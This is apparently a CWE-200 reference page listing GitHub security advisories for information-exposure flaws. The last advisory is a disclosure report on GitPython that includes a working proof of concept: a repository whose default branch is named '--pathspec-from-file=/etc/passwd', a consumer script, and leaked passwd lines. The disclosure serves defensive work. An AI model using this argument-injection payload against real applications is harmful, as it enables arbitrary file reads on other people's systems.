CWE-200
Weakness DiscouragedExposure of Sensitive Information to an Unauthorized Actor
Abstraction: Class · Status: Draft
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.
Technical nuance
There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker. Some kinds of sensitive information include:
private, personal information, such as personal messages, financial data, health records, geographic location, or contact details
system status and environment, such as the operating system and installed packages
business secrets and intellectual property
network status and configuration
the product's own code or internal state
metadata, e.g. logging of connections or message headers
indirect information, such as a discrepancy between two internal operations that can be observed by an outsider
Information might be sensitive to different parties, each of which may have their own expectations for whether the information should be protected. These parties include:
the product's own users
people or organizations whose information is created or used by the product, even if they are not direct product users
the product's administrators, including the admins of the system(s) and/or networks on which the product operates
the developer
Information exposures can occur in different ways:
the code explicitly inserts sensitive information into resources or messages that are intentionally made accessible to unauthorized actors, but should not contain the information - i.e., the information should have been "scrubbed" or "sanitized"
a different weakness or mistake indirectly inserts the sensitive information into resources, such as a web script error revealing the full system path of the program.
the code manages resources that intentionally contain sensitive information, but the resources are unintentionally made accessible to unauthorized actors. In this case, the information exposure is resultant - i.e., a different weakness enabled the access to the information in the first place.
Mapping guidance
CWE-200 and its lower-level descendants are intended to cover the mistakes that occur in behaviors that explicitly manage, store, transfer, or cleanse sensitive information. Unfortunately, CWE-200 is commonly misused to represent the loss of confidentiality in a vulnerability. From the CWE perspective, loss of confidentiality is a technical impact, not a root cause error. Loss of confidentiality can arize from many different weaknesses, such as insecure file permissions or out-of-bounds read. As of CWE 4.20, over 400 CWE entries can lead to a loss of confidentiality. Other options are often available. [REF-1287].
If an error or mistake causes information to be disclosed, then use the CWE ID for that error.
Modes of introduction
Detection methods
Automated Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Inter-application Flow Analysis
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: High
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Fuzz Tester
Framework-based Fuzzer
Automated Monitored Execution
Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious
Effectiveness: SOAR Partial
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Manual Source Code Review (not inspections)
Effectiveness: High
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Context-configured Source Code Weakness Analyzer
Cost effective for partial coverage:
Source code Weakness Analyzer
Effectiveness: High
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
Attack Modeling
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Effectiveness: High
Content history
Identified incorrect language tag in demonstrative example.
updated Time_of_Introduction
updated Likelihood_of_Exploit, Relationships, Taxonomy_Mappings, Weakness_Ordinalities
updated Description
updated Alternate_Terms, Description, Name
updated Taxonomy_Mappings
updated Related_Attack_Patterns
updated Description, Relationships
updated Common_Consequences
updated Related_Attack_Patterns, Relationships
updated Potential_Mitigations
updated Alternate_Terms, Applicable_Platforms, References
updated Related_Attack_Patterns
updated Detection_Factors, Relationships
updated Relationships
updated Related_Attack_Patterns
updated References
updated Related_Attack_Patterns
updated Related_Attack_Patterns, Relationships
updated Demonstrative_Examples, Observed_Examples, Relationships
updated Applicable_Platforms, Demonstrative_Examples, Description, Name, Observed_Examples, Related_Attack_Patterns, Relationships, Weakness_Ordinalities
updated Relationships
updated Alternate_Terms, Description, Maintenance_Notes, Related_Attack_Patterns, Relationships
updated Potential_Mitigations
updated Relationships
updated Relationships
updated Demonstrative_Examples, Maintenance_Notes, Observed_Examples, References
updated References, Relationships
updated Mapping_Notes
updated Observed_Examples
updated Relationships
updated Relationships
updated Detection_Factors, References
updated Applicable_Platforms, Relationships
updated Maintenance_Notes, Mapping_Notes
updated Alternate_Terms, Description, Mapping_Notes, Relationships, Technical_Nuance
16405 vulnerabilities reference this CWE, most recent first.
GHSA-235V-4V9J-F2JW
Vulnerability from github – Published: 2022-05-17 05:03 – Updated: 2022-05-17 05:03Cybozu Mailwise 5.0.4 and 5.0.5 allows remote authenticated users to obtain sensitive e-mail content intended for different persons in opportunistic circumstances by reading Subject header lines within the user's own mailbox.
{
"affected": [],
"aliases": [
"CVE-2013-4698"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2013-08-16T01:55:00Z",
"severity": "LOW"
},
"details": "Cybozu Mailwise 5.0.4 and 5.0.5 allows remote authenticated users to obtain sensitive e-mail content intended for different persons in opportunistic circumstances by reading Subject header lines within the user\u0027s own mailbox.",
"id": "GHSA-235v-4v9j-f2jw",
"modified": "2022-05-17T05:03:06Z",
"published": "2022-05-17T05:03:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-4698"
},
{
"type": "WEB",
"url": "http://cs.cybozu.co.jp/information/20130812up02.php"
},
{
"type": "WEB",
"url": "http://jvn.jp/en/jp/JVN21103639/374951/index.html"
},
{
"type": "WEB",
"url": "http://jvn.jp/en/jp/JVN21103639/index.html"
},
{
"type": "WEB",
"url": "http://jvndb.jvn.jp/jvndb/JVNDB-2013-000077"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-238J-2HQ5-WRGG
Vulnerability from github – Published: 2026-10-19 21:36 – Updated: 2026-10-19 21:36Craft CMS 4.0.0 before 4.18.8 and 5.0.0 before 5.11.0 contains a Twig sandbox allowlist bypass because the column, contains, filterByValue, index, where, and multisort filters resolve caller-supplied keys via ArrayHelper::getValue() without consulting the sandbox security policy. Authenticated Control Panel users can supply dot-path keys to traverse the craft global and disclose the securityKey, database credentials, and auth tokens.
{
"affected": [],
"aliases": [
"CVE-2026-112771"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-19T20:17:54Z",
"severity": "HIGH"
},
"details": "Craft CMS 4.0.0 before 4.18.8 and 5.0.0 before 5.11.0 contains a Twig sandbox allowlist bypass because the column, contains, filterByValue, index, where, and multisort filters resolve caller-supplied keys via ArrayHelper::getValue() without consulting the sandbox security policy. Authenticated Control Panel users can supply dot-path keys to traverse the craft global and disclose the securityKey, database credentials, and auth tokens.",
"id": "GHSA-238j-2hq5-wrgg",
"modified": "2026-10-19T21:36:29Z",
"published": "2026-10-19T21:36:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-j697-8x93-7mp2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112771"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/craft-cms-before-4.18.8-and-5.11.0-twig-sandbox-allowlist-bypass-via-array-filters"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-238Q-JMW9-PWJG
Vulnerability from github – Published: 2022-05-17 03:40 – Updated: 2022-05-17 03:40Unspecified vulnerability in the Oracle Agile PLM component in Oracle Supply Chain Products Suite 9.3.4 and 9.3.5 allows remote attackers to affect confidentiality via unknown vectors, a different vulnerability than CVE-2016-5527.
{
"affected": [],
"aliases": [
"CVE-2016-5524"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-10-25T14:30:00Z",
"severity": "MODERATE"
},
"details": "Unspecified vulnerability in the Oracle Agile PLM component in Oracle Supply Chain Products Suite 9.3.4 and 9.3.5 allows remote attackers to affect confidentiality via unknown vectors, a different vulnerability than CVE-2016-5527.",
"id": "GHSA-238q-jmw9-pwjg",
"modified": "2022-05-17T03:40:32Z",
"published": "2022-05-17T03:40:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-5524"
},
{
"type": "WEB",
"url": "http://www.oracle.com/technetwork/security-advisory/cpuoct2016-2881722.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/93671"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-238Q-XH37-PMHJ
Vulnerability from github – Published: 2026-02-11 21:30 – Updated: 2026-02-13 00:32An issue in Statping-ng v.0.91.0 allows an attacker to obtain sensitive information via a crafted request to the api parameter of the oauth, amazon_sns, export endpoints.
{
"affected": [],
"aliases": [
"CVE-2024-26477"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-11T20:16:05Z",
"severity": "HIGH"
},
"details": "An issue in Statping-ng v.0.91.0 allows an attacker to obtain sensitive information via a crafted request to the api parameter of the oauth, amazon_sns, export endpoints.",
"id": "GHSA-238q-xh37-pmhj",
"modified": "2026-02-13T00:32:51Z",
"published": "2026-02-11T21:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26477"
},
{
"type": "WEB",
"url": "https://github.com/Ev3rR3d/Statping_Poc"
},
{
"type": "WEB",
"url": "https://github.com/Ev3rR3d/Statping_Poc/tree/main/CVE-2024-26477"
},
{
"type": "WEB",
"url": "https://github.com/statping-ng/statping-ng"
},
{
"type": "WEB",
"url": "https://statping-ng.github.io"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-239J-G7XF-H6V8
Vulnerability from github – Published: 2026-09-16 06:31 – Updated: 2026-09-17 15:31The LearnPress WordPress plugin before 4.4.7 does not check the user's capabilities in one of its administrative template handlers, allowing unauthenticated attackers to retrieve the text, identifier and type of every published quiz question on the site, along with a keyword search over them, which is content the LearnPress WordPress plugin before 4.4.7 otherwise keeps non-public.
{
"affected": [],
"aliases": [
"CVE-2026-86445"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-16T06:16:34Z",
"severity": "MODERATE"
},
"details": "The LearnPress WordPress plugin before 4.4.7 does not check the user\u0027s capabilities in one of its administrative template handlers, allowing unauthenticated attackers to retrieve the text, identifier and type of every published quiz question on the site, along with a keyword search over them, which is content the LearnPress WordPress plugin before 4.4.7 otherwise keeps non-public.",
"id": "GHSA-239j-g7xf-h6v8",
"modified": "2026-09-17T15:31:55Z",
"published": "2026-09-16T06:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86445"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/df2d1ebb-ac1d-430d-8e99-7d88df47cf5b"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-23CM-X6J7-6HQ3
Vulnerability from github – Published: 2021-09-14 20:24 – Updated: 2023-08-08 19:58Impact
A logic error in the room key sharing functionality of matrix-js-sdk before 12.4.1 allows a malicious Matrix homeserver† participating in an encrypted room to steal room encryption keys from affected Matrix clients participating in that room. This allows the homeserver to decrypt end-to-end encrypted messages sent by affected clients.
† Or anyone with access to the account of the original recipient of an encrypted message.
Known clients affected (via their use of vulnerable versions of matrix-js-sdk):
- Element Web (1.8.2 and earlier)
- Element Desktop (1.8.2 and earlier)
- SchildiChat Web (1.7.32-sc1 and earlier)
- SchildiChat Desktop (1.7.32-sc1 and earlier)
- Cinny (1.2.0 and earlier)
Patch
This was fixed in https://github.com/matrix-org/matrix-js-sdk/commit/894c24880da0e1cc81818f51c0db80e3c9fb2be9.
Workarounds
To prevent a homeserver from being able to steal the room keys, vulnerable clients can be taken offline or signed out. If signing out, care should be taken to either set up Secure Backup or export E2E room keys in order to preserve access to past messages.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "matrix-js-sdk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "12.4.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-40823"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-327"
],
"github_reviewed": true,
"github_reviewed_at": "2021-09-14T18:08:41Z",
"nvd_published_at": "2021-09-13T19:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nA logic error in the room key sharing functionality of matrix-js-sdk before 12.4.1 allows a malicious Matrix homeserver\u2020 participating in an encrypted room to steal room encryption keys from affected Matrix clients participating in that room. This allows the homeserver to decrypt end-to-end encrypted messages sent by affected clients.\n\n\u2020 Or anyone with access to the account of the original recipient of an encrypted message.\n\nKnown clients affected (via their use of vulnerable versions of matrix-js-sdk):\n\n- Element Web (1.8.2 and earlier)\n- Element Desktop (1.8.2 and earlier)\n- SchildiChat Web (1.7.32-sc1 and earlier)\n- SchildiChat Desktop (1.7.32-sc1 and earlier)\n- Cinny (1.2.0 and earlier)\n\n### Patch\n\nThis was fixed in https://github.com/matrix-org/matrix-js-sdk/commit/894c24880da0e1cc81818f51c0db80e3c9fb2be9.\n\n### Workarounds\nTo prevent a homeserver from being able to steal the room keys, vulnerable clients can be taken offline or signed out. If signing out, care should be taken to either set up Secure Backup or export E2E room keys in order to preserve access to past messages.",
"id": "GHSA-23cm-x6j7-6hq3",
"modified": "2023-08-08T19:58:08Z",
"published": "2021-09-14T20:24:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/matrix-org/matrix-js-sdk/security/advisories/GHSA-23cm-x6j7-6hq3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-40823"
},
{
"type": "WEB",
"url": "https://github.com/matrix-org/matrix-js-sdk/commit/894c24880da0e1cc81818f51c0db80e3c9fb2be9"
},
{
"type": "PACKAGE",
"url": "https://github.com/matrix-org/matrix-js-sdk"
},
{
"type": "WEB",
"url": "https://github.com/matrix-org/matrix-js-sdk/releases/tag/v12.4.1"
},
{
"type": "WEB",
"url": "https://matrix.org/blog/2021/09/13/vulnerability-disclosure-key-sharing"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "matrix-js-sdk can be tricked into disclosing E2EE room keys to a participating homeserver"
}
GHSA-23FJ-H8HH-93X3
Vulnerability from github – Published: 2026-05-26 13:30 – Updated: 2026-05-26 13:30A vulnerability was determined in calcom cal.diy up to 4.9.4. Affected by this issue is the function getServerSideProps of the file apps/web/modules/bookings/views/bookings-single-view.getServerSideProps.tsx of the component Generic React API. This manipulation of the argument cancelledBy/rescheduledBy causes information disclosure. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2026-9349"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-24T04:16:59Z",
"severity": "MODERATE"
},
"details": "A vulnerability was determined in calcom cal.diy up to 4.9.4. Affected by this issue is the function getServerSideProps of the file apps/web/modules/bookings/views/bookings-single-view.getServerSideProps.tsx of the component Generic React API. This manipulation of the argument cancelledBy/rescheduledBy causes information disclosure. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-23fj-h8hh-93x3",
"modified": "2026-05-26T13:30:29Z",
"published": "2026-05-26T13:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9349"
},
{
"type": "WEB",
"url": "https://gist.github.com/YLChen-007/b59c44d1550c4b0f373ca4eb1c150994"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/812177"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/365312"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/365312/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-23H3-7C7M-Q7Q6
Vulnerability from github – Published: 2022-05-01 23:32 – Updated: 2022-05-01 23:32Level Platforms, Inc. (LPI) Managed Workplace Service Center 4.x, 5.x and 6.x allows remote attackers to obtain sensitive information via a direct request to About/SC_About.htm, which provides version and patch information.
{
"affected": [],
"aliases": [
"CVE-2008-0636"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-02-12T20:00:00Z",
"severity": "MODERATE"
},
"details": "Level Platforms, Inc. (LPI) Managed Workplace Service Center 4.x, 5.x and 6.x allows remote attackers to obtain sensitive information via a direct request to About/SC_About.htm, which provides version and patch information.",
"id": "GHSA-23h3-7c7m-q7q6",
"modified": "2022-05-01T23:32:07Z",
"published": "2022-05-01T23:32:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-0636"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/3659"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/487811/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/488201/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/496074/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/27702"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-23H3-WMF9-7X9C
Vulnerability from github – Published: 2024-10-29 12:30 – Updated: 2024-10-29 12:30The Move Addons for Elementor plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.3.5 via the render function in includes/widgets/accordion/widget.php, includes/widgets/remote-template/widget.php, and other widget.php files. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract sensitive private, pending, and draft template data.
{
"affected": [],
"aliases": [
"CVE-2024-10360"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-29T11:15:03Z",
"severity": "MODERATE"
},
"details": "The Move Addons for Elementor plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.3.5 via the render function in includes/widgets/accordion/widget.php, includes/widgets/remote-template/widget.php, and other widget.php files. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract sensitive private, pending, and draft template data.",
"id": "GHSA-23h3-wmf9-7x9c",
"modified": "2024-10-29T12:30:56Z",
"published": "2024-10-29T12:30:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10360"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3176341/move-addons"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/eafe73b4-b492-45c7-adca-d9a3042144b4?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-23MF-XHV8-69C2
Vulnerability from github – Published: 2026-10-27 15:28 – Updated: 2026-10-27 15:28A note on the referenced files. This report was submitted through GitHub's private vulnerability reporting API, which carries no attachments. Every transcript this report leans on is reproduced inline above, verbatim. The file names it mentions (
poc.sh,poc.log, per-case transcripts,evidence.md,negative-controls.md, blob-sweep tables) are the local evidence bundle those inline excerpts were extracted from, with a checksum manifest. I am happy to send the bundle by any channel you prefer, or to open a private fork — just say which. The PoC scripts are self-contained and reproduce the result from a clean environment.
Affected: <= 3.1.62 — all published releases; also main @ 4905b4af
Verified at runtime: GitPython 3.1.62 with git 2.55.0
Date: 2026-09-10
Reporter: MAXI8594
Threat model
| Attacker | anyone who can get the application to clone a URL they control. No account, no credential, no privilege in the consuming application. |
| Pre-need | a repository they host, with HEAD pointing at a branch whose name is the payload. A git push to a plain git server is enough — no filesystem access to a server is required (raw/06). |
| Gets | the contents of any file the application's process can read, returned in band through the exception. /etc/passwd recovered 34 of 34 lines. |
| Real-world likelihood | High. The vulnerable consumer is six lines of ordinary code with no unusual configuration: Repo.clone_from(user_url) then repo.active_branch.checkout(). allow_unsafe_options=False is the default. Cloning user-supplied URLs is the library's central use case — CI systems, repository importers, scanners and bots. |
On severity relative to the sibling advisories. GitHub, as CNA, scored the three prior
advisories in this class at 6.5 / PR:L (CVE-2026-76217, CVE-2026-78678, CVE-2026-78679). This
report asks for 7.5 / PR:N, and the difference is one measured fact: in those three, the
application had to pass an attacker-influenced value into the API. Here it passes nothing — the
clone materialises the hostile branch on its own and repo.active_branch returns it
(raw/02). If that reading is not accepted, the PR:L path via Repo.create_head() is also real
and lands at 6.5, matching the siblings.
Summary
Head.checkout() guards its **kwargs against unsafe Git options but never inspects its own
positional argument — the branch name — which reaches the git checkout argv with no --
separator. A repository whose default branch is named --pathspec-from-file=/etc/passwd makes a
consumer that merely clones it and checks out the default branch return the entire contents of that
file to the caller.
This is the exact combination of two advisories the project already fixed:
- CVE-2026-76217 (
GHSA-hh9p-6wh2-4mfc) — "Arbitrary file read via--pathspec-from-fileinIndexFile.remove()andHead.checkout()". Fixed in 3.1.58 by commitf2550b65, which added the guard to this exact method — but only for**kwargs. - CVE-2026-78679 (
GHSA-3wxw-xv34-2frg) — "TagReference.createpositional reference bypasses kwargs-only--fileguard, enabling arbitrary file read (incomplete fix of 3af0c251)". Fixed in 3.1.59 by commit1b0d2d9b, which applied the positional check togit/refs/tag.py,git/diff.py,git/index/base.pyandgit/repo/base.py— but not togit/refs/head.py:286.
f2550b65 states in its own commit message that the audit found the positional variant and applied
it to HEAD.reset — 185 lines above Head.checkout, in the same file, in the same commit:
"The audit also found that reset's positional commit could carry the option before its argument separator. […] Check reset's positional commit as well as keyword options"
HEAD.reset got the fix. Head.checkout did not, and 1b0d2d9b did not come back for it.
Affected Asset
| Package | GitPython (PyPI) |
| Affected versions | <= 3.1.62 — all published releases |
| Latest release tested | 3.1.62 |
| Also present on | main @ 4905b4af |
| Vulnerable file | git/refs/head.py |
| Guard | line 286 — Git._option_candidates([], kwargs) |
| Sink | line 293 — self.repo.git.checkout(self, **kwargs) |
| CWE | CWE-88 (Argument Injection), CWE-73 (External Control of File Name or Path), CWE-200 (Exposure of Sensitive Information) |
| CVSS 3.1 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N → 7.5 High |
The version range was established by blob hash against every tag, not by dates: the sink line
self.repo.git.checkout(self, **kwargs) — with no -- separator — is present in git/refs/head.py
in every tag from 0.3.1-beta2 through 3.1.62. The 3.1.62 blob is byte-identical to main:
7f563374ef9e018b3d5f95054498e8591e112ce2. Full sweep in raw/07-blob-version-sweep.txt.
The kwargs-only guard first appears in 3.1.58, so 3.1.58–3.1.62 is where "incomplete fix"
applies; earlier releases have the same sink with no guard at all.
Vulnerability Details
Root cause
git/cmd.py:1045 — _option_candidates() only inspects the positionals it is handed:
@classmethod
def _option_candidates(cls, args: Sequence[Any] = (), kwargs: Optional[Mapping[str, Any]] = None) -> List[str]:
"""Collect possible option spellings before command-line transformation."""
options = [
option for option in cls._unpack_args([arg for arg in args if arg is not None]) if option.startswith("-")
]
So _option_candidates([], kwargs) means: check the keyword arguments, never check the positional
arguments this method puts on the command line. That is fine when the method has no
attacker-influenced positional, or when it separates them with --.
git/refs/head.py:283-293 — Head.checkout() has neither:
if not allow_unsafe_options:
Git.check_unsafe_options(
options=Git._option_candidates([], kwargs),
unsafe_options=Git.unsafe_git_pathspec_from_file_options,
)
kwargs["f"] = force
if kwargs["f"] is False:
kwargs.pop("f")
self.repo.git.checkout(self, **kwargs)
self is the only positional. It serialises to the branch name, lands in the git checkout argv,
and is not in the list the guard inspects. _call_process builds args_list = opt_args + ext_args,
so keyword-derived options precede positionals — which is why the rest of the library puts "--"
first (Remote.fetch/pull/push, Repo._clone, Repo.archive, IndexFile.remove, Commit.count
all do). Head.checkout does not.
Why the branch name is attacker-controlled
Git accepts a refname whose branch component begins with - and contains /
(raw/02-refname-accepted-and-cloned.txt):
>>> git check-ref-format 'refs/heads/--pathspec-from-file=/etc/passwd'
exit=0 stderr=''
=> un refname que empieza con '-' y lleva '/' es VALIDO para git
>>> git -C <bare> update-ref 'refs/heads/--pathspec-from-file=/etc/passwd' beea87239099
exit=0 stderr=''
>>> git -C <bare> symbolic-ref HEAD 'refs/heads/--pathspec-from-file=/etc/passwd'
exit=0
HEAD del bare = refs/heads/--pathspec-from-file=/etc/passwd
ref en disco como arbol jerarquico: True
>>> Repo.clone_from('file://<bare>', <victim>) # la app solo clona
ramas LOCALES creadas por el clone, sin que nadie las pida:
refs/heads/--pathspec-from-file=/etc/passwd
repo.active_branch.name = '--pathspec-from-file=/etc/passwd'
coincide con el nombre hostil: True
The transcript above also shows the second half: git clone materialises that branch locally on
its own when the remote HEAD points at it — the consuming application never asks for it.
A plain git server accepts the refname over receive-pack, with no --force and no special config
(raw/06-push-accepts-refname.txt), so the attacker does not need filesystem access to a server —
a git push is enough. That measurement, and the clone in raw/02, both use the file://
transport, which exercises the same git wire protocol as https://; I did not test against a
hosted forge, since that would mean writing to a third party.
Why the leak reaches the caller
The file contents are in CommandError.__str__, not only in the .stderr attribute
(git/exc.py):
self.stderr = stderr_decode and "\n stderr: '%s'" % stderr_decode or ""
def __str__(self) -> str:
return (self._msg + "\n cmdline: %s%s%s") % (
self._cmd, self._cause, self._cmdline, self.stdout, self.stderr,
)
So logging.exception(...), print(e), or simply not catching the exception all disclose the
file. The developer does not have to know .stderr exists.
Full chain
Repo.clone_from(<attacker URL>)
↓ remote HEAD points at refs/heads/--pathspec-from-file=/etc/passwd
↓ git clone creates that LOCAL branch unasked
repo.active_branch → Head with name = "--pathspec-from-file=/etc/passwd"
↓
Head.checkout() git/refs/head.py:286 — guard inspects kwargs only
↓ self.repo.git.checkout(self, **kwargs) git/refs/head.py:293 — no "--"
git checkout --pathspec-from-file=/etc/passwd
↓ git emits one `error:` per unmatched pathspec — one per line of the file
GitCommandError → CommandError.__str__ → the consumer
Steps to Reproduce
Environment: GitPython 3.1.62, git 2.55.0, Linux x86_64, disposable venv. Everything local —
temporary repositories and the file:// transport. No remote hosts, no third-party repositories.
The bundled poc.sh runs all seven scenarios as a single unit and writes poc.log plus one file per
scenario under raw/. Minimal manual reproduction:
python3 -m venv /tmp/gp && /tmp/gp/bin/python -m pip install gitpython==3.1.62
W=$(mktemp -d)
git init -q -b main "$W/a"; echo x > "$W/a/f.txt"
git -C "$W/a" add f.txt
git -C "$W/a" -c user.email=a@b -c user.name=a commit -qm c
git clone -q --bare "$W/a" "$W/a.git"
SHA=$(git -C "$W/a.git" rev-parse HEAD)
# the attacker names their default branch after the file they want
git -C "$W/a.git" update-ref 'refs/heads/--pathspec-from-file=/etc/passwd' "$SHA"
git -C "$W/a.git" symbolic-ref HEAD 'refs/heads/--pathspec-from-file=/etc/passwd'
cat > "$W/consumer.py" <<'PYEOF'
import logging, sys, git
logging.basicConfig(level=logging.INFO, format="%(message)s")
try:
repo = git.Repo.clone_from(sys.argv[1], sys.argv[2]) # user-supplied URL
repo.active_branch.checkout() # ensure a clean working tree
except git.exc.GitCommandError:
logging.exception("clone failed")
PYEOF
/tmp/gp/bin/python "$W/consumer.py" "file://$W/a.git" "$W/victim"
Raw Request
The real git checkout argv, captured by instrumenting Git.execute (raw/01-real-argv.txt).
This is the command GitPython actually built — the branch name became an option:
argv real : ['git', 'checkout', '--pathspec-from-file=/tmp/gpargv-9im8ao2d/SECRET.txt']
Raw Response
Observed output (raw/05-six-line-consumer.txt, tail) — git emits one error: line per unmatched
pathspec, which is one per line of the target file:
error: pathspec 'mysql:x:958:958:MariaDB:/var/lib/mysql:/usr/bin/nologin' did not match any file(s) known to git
error: pathspec 'flatpak:x:957:957:Flatpak system helper:/:/usr/bin/nologin' did not match any file(s) known to git
error: pathspec 'wazuh:x:956:955:Wazuh Agent:/var/ossec:/usr/sbin/nologin' did not match any file(s) known to git
error: pathspec 'jdownloader:x:955:954:jdownloader:/opt/JDownloader/:/bin/false' did not match any file(s) known to git
